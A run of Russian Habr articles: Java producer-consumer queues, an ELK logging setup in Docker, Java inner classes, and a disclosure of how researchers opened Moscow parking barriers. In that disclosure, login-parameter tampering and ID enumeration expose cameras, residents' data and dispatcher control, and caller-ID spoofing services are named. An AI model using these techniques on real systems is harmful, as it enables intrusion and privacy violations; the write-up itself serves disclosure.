3. Действия с серверами могут нескольких типов, у каждого действия свой приоритет
4. Таски (из п.1-3) нельзя выполнять одновременно для каждого сервера
5. Таски могут завершаться с неудачей, например по причине отсутствия связи с сервером, нужно ждать пока связь восстановится и пытатся выполнить запланированную задачу
Первое решение, которое приходит большинству в голову — запустить для каждого сервера свой поток и там делать свои дела. Это неплохо, но что делать если в процессе мониторинга набор серверов будет меняться? Запускать и завершать потоки в процессе мониторинга как-то неэлегантно. А что делать если серверов тысяча? Иметь тысячу потоков наверно можно, но зачем это делать когда большинство времени поток простаивает и ждет своего времени для очередного пинга?
На данную проблему можно взглянуть с другой стороны и представить ее в виде классической задачи «producer-consumer». У нас есть продюсеры, которые производят таски (пинг, команда ssh) и у нас есть консьюмеры, которые эти таски исполняют. Разумеется продюсеров и консьюмеров у нас не по одну экземпляру. Решить нашу задачу «producer-consumer» в JAVA не просто, а очень просто используя классы PriorityQueue и ExecutorService.
Начнем, как обычно, с юнит-теста:
```
@Test
public void testOffer() {
PollServerQueue xq = new PollServerQueue();
xq.addTask(new MyTask(1, 11));
xq.addTask(new MyTask(2, 12));
xq.addTask(new MyTask(1, 13));
MyTask t1 = (MyTask)xq.poll();
assertEquals(1, t1.getServerId());
assertEquals(11, t1.getTaskId());
MyTask t2 = (MyTask)xq.poll();
assertEquals(2, t2.getServerId());
assertEquals(12, t2.getTaskId());
MyTask t3 = (MyTask)xq.poll();
assertEquals(null, t3);
xq.FinishTask(1);
MyTask t5 = (MyTask)xq.poll();
assertEquals(1, t5.getServerId());
assertEquals(13, t5.getTaskId());
}
```
В этом юнит-тесте мы добавили в нашу очередь три задачи типа MyTask (первый аргумент конструктора означает serverId, второй — taskId). Метод poll извлекает задачу из очереди. Если извлечь задачу не удалось (например, задачи кончились или в очереди остались задачи для серверов, для которых уже выполняются задачи) — метод poll возвращает null. Из кода видно, что завершение задачи для serverId=1 ведет к тому, что из очереди можно извлечь следующую задачу для данного сервера.
Ура! Юнит-тест написан, можно писать код. Нам потребуется:
1. Структура данных (HashMap) для хранения текущих исполняемых задач для каждого сервера (currentTasks)
2. Структура данных (HashMap) для хранения задачи, стоящих в очереди на исполнения. Для каждого сервера — своя очередь (waitingTasks)
3. Структура данных (PriorityQueue) для последовательного опроса серверов. Необходимо, чтобы в следующий вызов poll() к нам приходила задача для другого сервера. Короче, структура типа револьвера, только пули после каждого выстрела остаются в барабане (peekOrder)
4. Cтруктура (HashSet) для хранения и быстрого поиска идентификаторов серверов в револьвере, чтобы каждый раз не просматривать револьвер с первого до последнего элемента (servers)
5. Простой объект для синхронизации (syncObject)
Теперь процедура извлечения таски из очереди будет простой и короткой. И хотя код получился компактным, публиковать его здесь я не вижу смысла, а отошлю вас на <https://github.com/get-a-clue/PollServerQueueExample>
**Disclaimer**: код на github'e не является законченным, в частности, в нем отсутствует возможность установки приоритетов для задач внутри очереди для каждого сервера и механизма обработки ошибок и возврата failed таски в очередь. Ну и сам код для пингования. Как говорится, меньше кода — лучше спишь. :)
|
https://habr.com/ru/post/244569/
| null |
ru
| null |
# Централизованное логирование в Docker с применением ELK Stack
> *В рамках запуска* [*практического интенсива по ELK*](https://otus.pw/ifoa/) *подготовили для вас перевод полезного материала. Приглашаем также всех заинтересованных на* [*онлайн-встречу с преподавателем интенсива*](https://otus.pw/OwaL/)*, где преподаватель расскажет о программе, формате обучения и перспективах для выпускников.*
>
>
---
По мере роста вашей инфраструктуры наличие роботов и надежная централизованная система логирования становится критически важными составляющими. Централизация логирования становится ключевым аспектом множества IT-задач и дает вам хороший обзор всей вашей системы.
Лучшее решение — агрегировать логи с метаданными из всех контейнеров. Это предоставит вам лучшие варианты отслеживания и возможность получить хорошую поддержку от сообщества. Здесь на сцену выходит ELK Stack. ELK, также известный как Elastic stack, представляет собой комбинацию современных инструментов с открытым исходным кодом, таких как ElasticSearch, Logstash и Kibana. Это полное решение для сквозного анализа журналов, которое вы можете использовать в своей системе.
Каждому компоненту отведена определенная роль: ElasticSearch лучше всего хранит необработанные логи, Logstash помогает собирать и преобразовывать логи в согласованный формат, а Kibana добавляет отличный уровень визуализации и помогает вам управлять вашей системой в удобной для пользователя манере.
В этом руководстве вы узнаете, как развернуть ELK и наладить агрегирование контейнерных логов. Мы собираемся объединить ELK с [Filebeat,](https://www.elastic.co/products/beats/filebeat?ref=hackernoon.com) чтобы агрегировать контейнерные логи. Для этого мы собираемся создать собственный образ Docker.
### Шаг 1 - Настройка Filebeat
Начнем с настройки Filebeat. Во-первых, для создания образа вам нужно создать Dockerfile:
```
$ mkdir filebeat_docker && cd $_
$ touch Dockerfile && nano Dockerfile
```
Теперь откройте Dockerfile в удобном для вас текстовом редакторе и скопируйте/вставьте указанные ниже строки:
```
FROM docker.elastic.co/beats/filebeat:7.5.1
COPY filebeat.yml /usr/share/filebeat/filebeat.yml
USER root
RUN mkdir /usr/share/filebeat/dockerlogs
RUN chown -R root /usr/share/filebeat/
RUN chmod -R go-w /usr/share/filebeat/
```
В каталоге filebeat\_docker создайте файл filebeat.yml, содержащий конфигурацию для Filebeat. В этом руководстве мы будем детализировать файл filebeat.yml по минимуму.
```
filebeat.inputs:
- type: docker
containers:
path: "/usr/share/dockerlogs/data"
stream: "stdout"
ids:
- "*"
cri.parse_flags: true
combine_partial: true
exclude_files: ['\.gz$']
processors:
- add_docker_metadata:
host: "unix:///var/run/docker.sock"
filebeat.config.modules:
path: ${path.config}/modules.d/*.yml
reload.enabled: false
output.logstash:
hosts: ["127.0.0.1:5044"]
log files:
logging.level: error
logging.to_files: false
logging.to_syslog: false
loggins.metrice.enabled: false
logging.files:
path: /var/log/filebeat
name: filebeat
keepfiles: 7
permissions: 0644
ssl.verification_mode: none
```
Теперь создадим образ Filebeat Docker:
```
$ docker build -t filebeatimage .
Sending build context to Docker daemon 3.584kB
Step 1/6 : FROM docker.elastic.co/beats/filebeat:7.5.1
7.5.1: Pulling from beats/filebeat
c808caf183b6: Already exists
a07383b84bc8: Pull complete
a3c8dd4531b4: Pull complete
5547f4a87d0c: Pull complete
d68e041d92cd: Pull complete
7cfb3f76a272: Pull complete
748d7fe7bf07: Pull complete
Digest: sha256:68d87ae7e7bb99832187f8ed5931cd253d7a6fd816a4bf6a077519c8553074e4
Status: Downloaded newer image for docker.elastic.co/beats/filebeat:7.5.1
---> 00c5b17745d1
Step 2/6 : COPY filebeat.yml /usr/share/filebeat/filebeat.yml
---> f6b75829d8d6
Step 3/6 : USER root
---> Running in 262c41d7ce58
Removing intermediate container 262c41d7ce58
---> 1ffcda8f39cf
Step 4/6 : RUN mkdir /usr/share/filebeat/dockerlogs
---> Running in 8612b1895ac7
Removing intermediate container 8612b1895ac7
---> 483d29e65dc7
Step 5/6 : RUN chown -R root /usr/share/filebeat/
---> Running in 4a6ad8b22705
Removing intermediate container 4a6ad8b22705
---> b779a9da7ac9
Step 6/6 : RUN chmod -R go-w /usr/share/filebeat/
---> Running in bb9638d12090
Removing intermediate container bb9638d12090
---> 85ec125594ee
Successfully built 85ec125594ee
Successfully tagged filebeatimage:latest
```
Чтобы проверить, был ли образ успешно построен:
```
$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
filebeatimage latest 85ec125594ee 7 seconds ago 514MB
```
Для контейнера filebeat\_elk мы создали две точки монтирования с помощью параметра `-v`;
* `/var/lib/docker/containers:/usr/share/dockerlogs/data`: мы проецируем логи хост-машины, которые находятся в `/var/lib/docker/containers` в `/usr/share/dockerlogs/data` внутри docker-контейнера. Обратите внимание, что вы использовали `:ro`, что означает, что у него есть разрешение только на чтение.
* `/var/run/docker.sock` связан с docker-демоном контейнера Filebeat, который позволяет контейнеру Filebeat собирать метаданные Docker и записи логов контейнера.
**Установка Filebeat через DEB:**
Существует альтернативный способ установить Filebeat на вашу хост-машину. На момент написания статьи, версия Filebeat - 7.5.1, вы можете скачать последнюю версию filebeat [отсюда](https://www.elastic.co/downloads/beats/filebeat?ref=hackernoon.com).
Чтобы установить загруженный .deb файл:
```
$ wget https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-7.5.1-amd64.deb
$ sudo dpkg -i filebeat-7.5.1-amd64.deb
```
Вы можете найти файл конфигурации в каталоге `/etc/filebeat/filebeat.yml`.
### Шаг 2 - Настройка ELK или Elastic Stack
Вы можете использовать удаленный сервер для размещения своего ELK stack или запускать контейнеры в существующей системе.
Прежде чем начать, убедитесь, что слушают следующие порты:
* Elasticsearch - порт 9200 и порт 9300
* Logstash - порт 5044
* Kibana - порт 5601
#### ElasticSearch:
Мы собираемся использовать самый последний официальный образ Elasticsearch. Итак, начнем с подтягивания образа из Docker Hub:
```
$ docker pull docker.elastic.co/elasticsearch/elasticsearch:7.5.1
7.5.1: Pulling from elasticsearch/elasticsearch
c808caf183b6: Already exists
05ff3f896999: Pull complete
82fb7fb0a94e: Pull complete
c4d0024708f4: Pull complete
136650a16cfe: Pull complete
968db096c092: Pull complete
42547e91692f: Pull complete
Digest: sha256:b0960105e830085acbb1f9c8001f58626506ce118f33816ea5d38c772bfc7e6c
Status: Downloaded newer image for docker.elastic.co/elasticsearch/elasticsearch:7.5.1
docker.elastic.co/elasticsearch/elasticsearch:7.5.1
```
Теперь создайте каталог с именем docker\_elk, в котором будут находиться все ваши файлы конфигурации и Dockerfile:
```
$ mkdir docker_elk && cd $_
```
Внутри docker\_elk, создайте еще один каталог для elasticsearch и создайте файлы Dockerfile и elasticsearch.yml:
```
$ mkdir elasticsearch && cd $_
$ touch Dockerfile && touch elasticsearch.yml
```
Откройте файл elasticsearch.yml в любом текстовом редакторе и скопируйте настройки конфигурации как есть:
```
---
cluster.name: "docker-cluster"
network.host: 0.0.0.0
xpack.license.self_generated.type: basic
xpack.security.enabled: true
xpack.monitoring.collection.enabled: true
```
Обратите внимание, что вы можете поменять `xpack.license.self_generated.type` с basic на trial, если вы хотите попробовать коммерческую версию x-pack в течении 30 дней.
Откройте Dockerfile в любом текстовом редакторе, скопируйте указанные ниже строки и вставьте их как есть:
```
FROM docker.elastic.co/elasticsearch/elasticsearch:7.5.1
COPY --chown=elasticsearch:elasticsearch ./elasticsearch.yml /usr/share/elasticsearch/config/
```
Команда `chown` предназначена для изменения владельца файла на elasticsearch, как и для других файлов в контейнере.
#### Kibana:
Теперь мы собираемся настроить Dockerfile для Kibana, и снова вам нужно подтянуть последний образ из реестра Elastic Docker:
```
$ docker pull docker.elastic.co/kibana/kibana:7.5.1
7.5.1: Pulling from kibana/kibana
c808caf183b6: Already exists
e12a414b7b04: Pull complete
20714d0b39d8: Pull complete
393e0a5bccf2: Pull complete
b142626e938b: Pull complete
b28e35a143ca: Pull complete
728725922476: Pull complete
96692e1a8406: Pull complete
e4c3cbe1dbbe: Pull complete
bb6fc46a19d1: Pull complete
Digest: sha256:12b5e37e0f960108750e84f6b2f8acce409e01399992636b2a47d88bbc7c2611
Status: Downloaded newer image for docker.elastic.co/kibana/kibana:7.5.1
docker.elastic.co/kibana/kibana:7.5.1
```
Создайте каталог внутри вашего docker\_elk, и внутри него вы должны создать файлы Dockerfile и kibana.yml:
```
$ mkdir kibana && cd $_
$ touch Dockerfile && touch kibana.yml
```
kibana.yml будет состоять из следующих конфигураций. Обратите внимание, что вам необходимо изменить значения `elasticsearch.user` и `elasticsearch.password`:
```
---
server.name: kibana
server.host: "0"
elasticsearch.hosts: [ "http://elasticsearch:9200" ]
xpack.monitoring.ui.container.elasticsearch.enabled: true
elasticsearch.username: elastic
elasticsearch.password: yourstrongpasswordhere
```
В то время как в Dockerfile это будет выглядеть примерно так:
```
FROM docker.elastic.co/kibana/kibana:7.5.1
COPY ./kibana.yml /usr/share/kibana/config/
```
#### Logstash:
Образ контейнера для Logstash доступен в реестре Elastic Docker. Опять же, на момент написания текущая версия - 7.5.1, последнюю версию Logstash вы можете найти [здесь](https://www.docker.elastic.co/?ref=hackernoon.com#logstash).
```
$ docker pull docker.elastic.co/logstash/logstash:7.5.1
7.5.1: Pulling from logstash/logstash
c808caf183b6: Already exists
7c07521065ed: Pull complete
d0d212a3b734: Pull complete
418bd04a229b: Pull complete
b22f374f97b1: Pull complete
b65908943591: Pull complete
2ee12bfc6e9c: Pull complete
309701bd1d88: Pull complete
b3555469618d: Pull complete
2834c4c48906: Pull complete
bae432e5da20: Pull complete
Digest: sha256:5bc89224f65459072931bc782943a931f13b92a1a060261741897e724996ac1a
Status: Downloaded newer image for docker.elastic.co/logstash/logstash:7.5.1
docker.elastic.co/logstash/logstash:7.5.1
```
Теперь создайте каталог для Logstash внутри docker\_elk и добавьте необходимые файлы, как показано ниже:
```
$ mkdir logstash && cd $_
$ touch Dockerfile && touch logstash.yml
```
Скопируйте строки ниже в logstash.yml. Убедитесь, что вы вводите правильное имя пользователя и пароль в `xpack.monitoring.elasticsearch.username` и `xpack.monitoring.elasticsearch.password` соответственно:
```
---
http.host: "0.0.0.0"
xpack.monitoring.elasticsearch.hosts: [ "http://elasticsearch:9200" ]
xpack.monitoring.enabled: true
xpack.monitoring.elasticsearch.username: elastic
xpack.monitoring.elasticsearch.password: yourstrongpasswordhere
```
Теперь добавьте следующие строки в свой Dockerfile:
```
FROM docker.elastic.co/logstash/logstash:7.5.1
COPY ./logstash.yml /usr/share/logstash/config/
COPY ./logstash.conf /usr/share/logstash/pipeline/
```
Кроме этого, вам необходимо создать файл logstash.conf. Здесь, в справочнике elasticsearch, вы найдете host, user и password, убедитесь, что вы изменили значения в соответствии с вашей системой:
```
input {
tcp {
port => 5000
codec => json
}
}
output {
elasticsearch {
hosts => "elasticsearch:9200"
user => elastic
password => yourstrongpasswordhere
}
}
```
Как только вы закончите установку компонентов вашего стека, структура каталогов вашего проекта должна выглядеть следующим образом:
```
.
├── elasticsearch
│ ├── Dockerfile
│ └── elasticsearch.yml
├── kibana
│ ├── Dockerfile
│ └── kibana.yml
└── logstash
├── Dockerfile
├── logstash.conf
└── logstash.yml
3 directories, 7 files
```
Теперь пришло время создать файл Docker Compose, который позволит вам запустить стек.
### Шаг 3 - Docker Compose
Создайте файл docker-compose.yml в каталоге docker\_elk. Здесь вы будете определять и запускать свое многоконтейнерное приложение, состоящее из Elasticsearch, Kibana и Logstash.
Вы можете скопировать приведенный ниже контекст в файл docker-compose.yml. Убедитесь, что вы изменили значения `ELASTIC_PASSWORD` и `ES_JAVA_OPTS`. В этом руководстве для `ES_JAVA_OPTS` установлено значение в 256 МБ, но в реальных сценариях может потребоваться увеличить размер кучи в соответствии с вашими запросами.
```
version: '3.2'
services:
elasticsearch:
build:
context: elasticsearch/
volumes:
- type: volume
source: elasticsearch
target: /usr/share/elasticsearch/data
ports:
- "9200:9200"
- "9300:9300"
environment:
ES_JAVA_OPTS: "-Xmx256m -Xms256m"
ELASTIC_PASSWORD: yourstrongpasswordhere
discovery.type: single-node
networks:
- elk_stack
logstash:
build:
context: logstash/
ports:
- "5000:5000"
- "9600:9600"
environment:
LS_JAVA_OPTS: "-Xmx256m -Xms256m"
networks:
- elk_stack
depends_on:
- elasticsearch
kibana:
build:
context: kibana/
ports:
- "5601:5601"
networks:
- elk_stack
depends_on:
- elasticsearch
networks:
elk_stack:
driver: bridge
volumes:
elasticsearch:
```
Теперь, для того, чтобы собрать ELK stack, вам нужно запустить следующую команду в каталоге
`docker_elk :`
```
$ docker-compose up -d
Starting elastic_elk ... done
Starting kibana_elk ... done
Starting logstash_elk ... done
```
Убедитесь, что конвейер работает нормально — запустите следующую команду, чтобы увидеть индексы Elasticsearch:
```
$ curl 'localhost:9200/_cat/indices?v' -u elastic:yourstrongpasswordhere
health status index uuid pri rep docs.count docs.deleted store.size pri.store.size
green open .triggered_watches m-l01yMmT7y2PYU4mZ6-RA 1 0 0 0 6.5kb 6.5kb
green open .watcher-history-10-2020.01.10 SX3iYGedRKKCC6JLx_W8fA 1 0 1523 0 2mb 2mb
green open .management-beats ThHV2q9iSfiYo__s2rouIw 1 0 6 1 40.5kb 40.5kb
green open .ml-annotations-6 PwK7Zuw7RjytoWFuCCulJg 1 0 0 0 283b 283b
green open .monitoring-kibana-7-2020.01.10 8xVnx0ksTHShds7yDlHQvw 1 0 1006 0 385.4kb 385.4kb
green open .monitoring-es-7-2020.01.10 CZd89LiNS7q-RepP5ZWhEQ 1 0 36412 340 16.4mb 16.4mb
green open .apm-agent-configuration e7PRBda_QdGrWtV6KECsMA 1 0 0 0 283b 283b
green open .ml-anomalies-shared MddTZQ7-QBaHNTSmOtUqiQ 1 0 1 0 5.5kb 5.5kb
green open .kibana_1 akgBeG32QcS7AhjBOed3LA 1 0 1105 28 687.1kb 687.1kb
green open .ml-config CTLI-eNdTkyBmgLj3JVrEA 1 0 22 0 56.6kb 56.6kb
green open .ml-state gKx28CMGQiuZyx82bNUoYg 1 0 0 0 283b 283b
green open .security-7 krH4NlJeThyQRA-hwhPXEA 1 0 36 0 83.6kb 83.6kb
green open .logstash 7wxswFtbR3eepuWZHEIR9w 1 0 0 0 281b 281b
green open .kibana_task_manager_1 ft60q2R8R8-nviAyc0caoQ 1 0 2 1 16.2kb 16.2kb
yellow open filebeat-7.5.1-2020.01.10-000001 1-RGhyG9Tf-wGcepQ49mmg 1 1 0 0 283b 283b
green open .monitoring-alerts-7 TLxewhFyTKycI9IsjX0iVg 1 0 6 0 40.9kb 40.9kb
green open .monitoring-logstash-7-2020.01.10 dc_S5BhsRNuukwTxbrxvLw 1 0 4774 0 1.1mb 1.1mb
green open .watches x7QAcAQZTrab-pQuvonXpg 1 0 6 6 120.2kb 120.2kb
green open .ml-notifications-000001 vFYzmHorTVKZplMuW7VSmw 1 0 52 0 81.6kb 81.6kb
```
Теперь пора посетить нашу панель управления (dashboard) Kibana. Откройте браузер и введите URL-адрес http://your-ip-addr-here:5601. Теперь введите заранее заданные имя пользователя и пароль; в нашем случае это `elastic` и `yourstrongpasswordhere` соответственно.
В панели управления Kibana перейдите на вкладку «*Management*» (Управление) и в разделе «*Kibana*» нажмите «*Index Patterns»* (Шаблоны индекса). В первой строке вы найдете индекс filebeat-\*, который уже был идентифицирован Kibana.
Теперь перейдите к тегу Discover на панели инструментов Kibana и просмотрите логи контейнеров вместе с метаданными в соответствии с выбранным шаблоном индекса, который может выглядеть примерно так:
### Заключение:
Вот вы и установили и настроили стек ELK Stack на своей хост-машине, которая собирает необработанные логи из вашего Docker в стек, который позже можно будет проанализировать или использовать для отладки приложений.
*Об авторе — Судип — основатель* [*Javelynn*](http://www.javelynn.com/?ref=hackernoon.com) *и Solution Architect с более чем 15-летним опытом работы. Он любит делиться своими знаниями, регулярно пишет для* [*Hackernoon*](https://www.hackernoon.com/?ref=hackernoon.com)*,* [*DZone*](https://dzone.com/?ref=hackernoon.com)*,* [*Appfleet*](https://appfleet.com/?ref=hackernoon.com) *и многих других ресурсов. А если он не занят этим в данный момент, он наверняка рыбачит или играет в шахматы.*
---
> [**Узнать подробнее об экспресс-курсе ELK.**](https://otus.pw/ifoa/)[**Смотреть онлайн-встречу**](https://otus.pw/OwaL/) **с преподавателем****экспресс-курса ELK.**
>
>
|
https://habr.com/ru/post/542144/
| null |
ru
| null |
# Как открыть 1500 шлагбаумов Москвы
Случилось как-то, что рядом с офисом Postuf жильцы соседнего дома поставили себе шлагбаум. С парковкой в центре Москвы и так проблемы, а если еще и офисное здание неподалеку...в общем, жильцов можно понять. Но не давало покоя ощущение, что доступ к шлагбаумам могут получить далеко не только жильцы дома.
Стало интересно, кто вообще занимается установкой шлагбаумов и насколько активно. Для этого выходим из офиса на улицу и проводим разведку по открытым источникам на местности:
Компания, установившая шлагбаумПереходим на сайт компании и продолжаем разведку уже в онлайне. Восклицательный знак в правом верхнем углу отправляет нас прямиком в "святая святых" любого веб-приложения - на страницу входа в админ-панель.
Админка для "старших по объектам"Внизу можно увидеть едва заметную ссылку, предлагающую ознакомиться с возможностями личного кабинета в тестовом режиме. Почему бы и не ознакомиться?
Вход в личный кабинент от имени тестового аккаунтаПереходим по очень интересному URL - <https://lk.amvideo-msk.ru/index.php?login=test> - и попадаем в админ-панель, как нам и обещали на предыдущей странице. На открывшейся странице в глаза бросается еще один пользователь `test14`. Сразу же хочется подставить `test14` в "интересный" URL вместо `test`:
Вход в личный кабиент от имени скрытого тестового аккаунта!Успешно вошли от имени `test14`. Данных стало чуть больше - это видно даже визуально, но не прав доступа. Походим по админке от имени этого аккаунта, посмотрим, что есть. В списке шлагбаумов всего один с названием "ТЕСТ", "Список клиентов" явно тестовый, как и "История проездов", "Добавление клиентов" недоступно, да и вообще большинство действий блокируется сообщением с текстом "Недостаточно прав".
Осталась вкладка "Управление КПУ", но и там почти все действия заблокированы, кроме просмотра стрима с камеры, встроенной в шлагбаум, и получения состояния оборудования:
Возможности тестового аккаунтаНемного странно, что эти действия были разрешены кому попало для вполне реального шлагбаума. Если можно смотреть стрим с камеры и получать состояние оборудования на одном КПУ(контрольно пропускное устройство), мешает ли что-то делать это на других? Посмотрим, как устроены запросы, которые отправляются при запросе стрима и состояния оборудования:
Структура двух HTTP-запросов, управляющих КПУВ обоих случаях в HTTP-запросах фигурирует числовой идентификатор(!). Не остается выбора, кроме как попробовать поподставлять другие идентификаторы в запросы:
Просмотр чужих камер и состояния КПУТри случайно выбраных числовых идентификатора привели к трем разным объектам! От имени тестового пользователя! На самом нижнем шлагбауме даже видно, что из-за того, что статус панели - "не в сети", одна из камер не работает.
Интересно еще то, что запрос на получение состояния оборудования возвращает статусы только в том случае, если объект с переданным идентификатором существует. Благодаря этому можно "сбрутить" все идентификаторы КПУ простым перебором чисел, которых не сильно больше 1500, судя по данным [официального сайта](https://www.xn----7sbabcid3ddoby3bx3e.xn--p1ai/) (всего в Москве установлено [7082 шлагбаума](https://www.mos.ru/news/item/97985073/)).
Выходит, в приложении компании по установке шлагбаумов есть некоторая системная уязвимость, из-за которой **не проверяется, можно ли тому, КТО запросил, отдавать то, ЧТО он запросил**, а значит приключение только начинается!
Читаем тикеты тех.поддержки (можно даже создавать тикеты-задачи от имени любого пользователя, в т.ч администраторов):
Получаем адреса и телефонные номера шлагбаумов для их открытия:
Получаем списки жильцов на объектах с персональной информацией (номера машин, телефонов, квартир):
И на этом уже можно было бы остановиться - **каждый, кто "успел" собрать улов из номеров шлагбаумов и номеров жильцов, уже может открывать любой шлагбаум в удобное для него время с помощью SIP-сервисов для подмены номера**, которых сейчас развелось предостаточно - [SipCaller](https://hatiffone.com/), [BlackVoip](https://black-voip.net/) и тому подобные.
Но мы решили не останавливаться. Вишенкой на торте стал не сильно примечательный на первый взгляд эндпоинт редактирования информации о пользователе, при переходе на который визуально казалось, что ничего не происходит. Однако под капотом возвращались реальные данные(адрес, ник, email, фио) вместе с кодом редиректа 302 на `index.php`:
Сервер отправил "домой" вместе с запрошенными даннымиВ этом эндпоинте, как и во всех других, передается числовой идентификатор. Пройдясь по первой тысяче чисел (0-999), удалось многое узнать о пользователях данной системы - как развивалась схема имен с ростом компании, когда примерно никнеймы в виде телефонного номера начали вытеснять текстовые и даже то, как в некоторых случаях по никнейму можно определить адрес. Но самым важным обнаружением стал пользователь с ником `test30`.
В этот момент возникло непреодолимое желание вернуться в самое начало и подставить `test30` теперь уже вместо `test14` в URL авторизации. Результат был выше всяких ожиданий:
(не)Тестовый аккаунтМы попали не в очередной тестовый аккаунт, а в аккаунт с повышенными (сильно повышенными) правами - в аккаунт диспетчера всей системы!
Теперь стало возможным управлять любыми шлагбаумами без SIP-телефонии как независимо, так и массово :) Присутствие шлагбаумов компании в Москве выглядит довольно обширно:
Шлагбаумы МосквыЕсть даже шлагбаумы в других городах, но там их не много. Полученные доступы такого уровня - не важно, жилец вы конкретного дома или просто проезжаете мимо - открывают для любого желающего "режим Бога" со следующими функциями:
1. Скрытное открытие шлагбаумов (проезды не будут светиться в истории)
1. Из веб-админки
2. Звонком через SIP (с подмененного телефона жильца на телефон шлагбаума)
1. В истории не фиксируются открытия только с номеров админов, это ок?
2. Просмотр в реальном времени имен/телефонов/квартир проезжающих через шлагбаум
3. Получение видео с камер шлагбаумов
1. В режиме реального времени
2. За любой промежуток времени за последние 7 дней
4. Чтение тикетов службы поддержки и создание тикетов от имени любого пользователя
5. Получение конфиденциальной и технической информации
1. Geo-координаты всех шлагбаумов
2. Информация об аппаратуре
1. Внутренние SIP-номера шлагбаумов и креды авторизации в SIP
2. IP адреса камер и панелей управления
3. Логины и пароли (в основном дефолтные) прямого доступа к аппаратуре (доступной через Интернет)
1. К камерам
2. К "микротикам" по SSH
3. К Beward-панелям КПУ
3. Cписки жильцов (телефоны и имена) по адресам с номерами квартир, а также номерами и марками автомобилей
4. Cписок объектов
1. Адреса объектов
2. Тарифы на объектах и у пользователей
3. Номера телефонов КПУ на объектах
6. Рассылка Push-уведомлений на номера телефонов пользователей
7. Редактирование и просмотр пользователей
1. Изменение имени\телефона\email
2. Выдача\изъятие прав на платные действия
1. Открытие с мобильного приложения
2. Создание одноразовых заявок на проезд
3. Просмотр видео с КПУ
8. Создание новых пользователей на объектах
9. Создание одноразовых заявок на проезд
10. Просмотр созданных заявок на проезд (запланированные проезды)
11. Звонки диспетчерам от имени любого шлагбаума через внутреннюю SIP-систему
12. Перевод всей системы в аварийный режим или включение тестового режима
13. Блокировка открытия шлагбаума и перезагрузка оборудования
Outro
-----
До начала исследования этой проблемы казалось, что софт для систем такого уровня поставляется строго в виде пакетных решений от производителей оборудования и не содержит самописных элементов в принципе, ведь при наличии таковых пришлось бы самостоятельно покрывать кучу разных издержек, в числе которых информационная безопасность. А для компании, у которой IT профиль не является основным, это непозволительная роскошь. Но на практике мало кто об этом заботится, что в итоге может приводить к печальным последствиям, способным поставить под угрозу само существование компании.
Вся информация о найденных уязвимостях была передана разработчикам, а уязвимости - успешно и оперативно устранены к моменту публикации статьи. В ходе исследования специалистами Postuf не было скопировано ни бита информации.
На определенных этапах исследования не покидало ощущение, что в отдельных участках этой системы уже кто-то может обитать. Очень надеемся, что разработчики проведут более глубокий аудит с привлечением надежных специалистов и исправят то, что пока не было найдено.
|
https://habr.com/ru/post/596293/
| null |
ru
| null |
# Внутренние и вложенные классы java. Часть 2
**Внутренние и вложенные классы java. Часть 2**
02.03.2017 — 2019 год
[<<< Часть 1](https://habr.com/ru/post/439648/)
[Часть 3 >>>](https://habr.com/ru/post/440068/)
**Часть 2**
**Внутренние классы**
Inner Classes — Внутренние классы
Внутренний класс связан с экземпляром его обрамляющего класса (из документации).
Пример внутреннего класса есть в документации.
Создадим класс:
```
/* Пример №7 */
class OuterClass {
...
class InnerClass {
...
}
}
```
Так в чем же отличие, спросите вы. Объявления классов и вложенных и внутренних
одинаковые в данных случаях. Отличие в том, что внутренний класс связан с внешним классом через экземпляр, или через объект класса.
Чтобы создать экземпляр внутреннего класса, нам нужно сначала создать экземпляр внешнего класса. Затем создать внутренний объект, в пределах внешнего объекта, таким образом:
```
OuterClass.InnerClass innerObject = outerObject.new InnerClass();
```
Пример:
```
/* Пример №8 файл Outer.java*/
package inner;
/**
*
* @author Ar20L80
*/
public class Outer {
class InnerClass {
}
Outer(){}
public static void main(String[] args) {
Outer outerObject = new Outer();
Outer.InnerClass innerObject = outerObject.new InnerClass(); // создание экземпляра
внутреннего класса
}
}
```
По-другому мы можем написать так:
```
/*
Учебный пример №9
файл Outer5.java
Внутренние классы
Получить ссылку на внешний класс в конструкторе внутреннего
*/
package inner;
/**
*
* @author Ar20L80
*/
public class Outer5 {
class Inner5{
private Outer5 myOuter;
Inner5(){
myOuter = Outer5.this;
}
}
public static void main(String[] args){
Outer5 outer5 = new Outer5();
}
}
```
Обратите внимание на запись вида `myOuter = Outer5.this;`. Она означает получение ссылки на текущий экземпляр внешнего класса **Outer5.this**.
Рассмотрим свойства внутренних классов.
Внутренние классы есть смысл использовать, если они будут использовать элементы родителя,
чтобы не передавать лишнего в конструкторах. Внутренний класс неявно наследуется от внешнего класса, хотя мы не используем ключевое слово **extends** в случае с классом или **implements** в случае с интерфейсом. То есть, во внутреннем классе мы можем использовать весь унаследованный функционал внешнего класса. Может показаться, что это сомнительно. Но это дает нам более гибкий подход. Таким образом мы можем использовать во внутреннем классе, функционал унаследованный от внешнего класса.
Внутренний класс стоит использовать, когда нам нужна инкапсуляция. Во внутреннем классе мы, таким образом закрываем всё от «внешнего мира».
Например, Map.Entry — нигде кроме интерфейса Map и его реализаций он не используется. Смотрите исходный код Map.Entry и Map. Это я привел только один пример.
Далее рассмотрим пример явного наследования.
```
/*
Учебный пример №10(1).
файл Outer6.java
Внутренние классы
*/
package inner;
/**
*
* @author Ar20L80
*/
class AnyClass{} // класс от которого наследуем Inner6
public class Outer6 { // внешний класс
class Inner6 extends AnyClass{ // внутренний класс явно унаследован от "прилегающего"
// тут мы унаследовали внутренний класс от AnyClass{}
// и можем расширить функциональность класса AnyClass{}
// и класса Outer6
}
}
```
В этом примере у нас, по сути, получилось множественное наследование, и мы можем использовать функционал класса AnyClass и функционал класса Outer6.
Диаграмма наследования:
рис. 1
Здесь модификатор доступа у класса Outer6 по умолчанию. То есть класс Outer6 виден только в нашем пакете (package inner). Класс Inner6 закрыт от внешнего мира и внешнего воздействия.
То есть более «защищен».
Это только пример множественного наследования от «прилегающего» класса и класса «оболочки». На практике вам вряд-ли такое понадобится. Тут я рассматриваю такую возможность только в учебных целях и для лучшего понимания.
*Замечание* Выражение: «прилегающего» класса — взято из книги «Философия Java».
Дополним пример.
```
/*
Учебный пример №11
файл Outer7.java
Внутренние классы
*/
package inner;
/**
*
* @author Ar20L80
*/
class AnyClass2{
void anyClass2Method(){}
}
public class Outer7 {
private int iOuterVar;
private class Inner7 extends AnyClass2
{
private Outer7 out7;
public Inner7() {
out7 = Outer7.this; // ссылка на окружающий класс
}
private int anyMethodOfInner7(){
super.anyClass2Method();// можем вызвать метод нашего супер класса AnyClass2
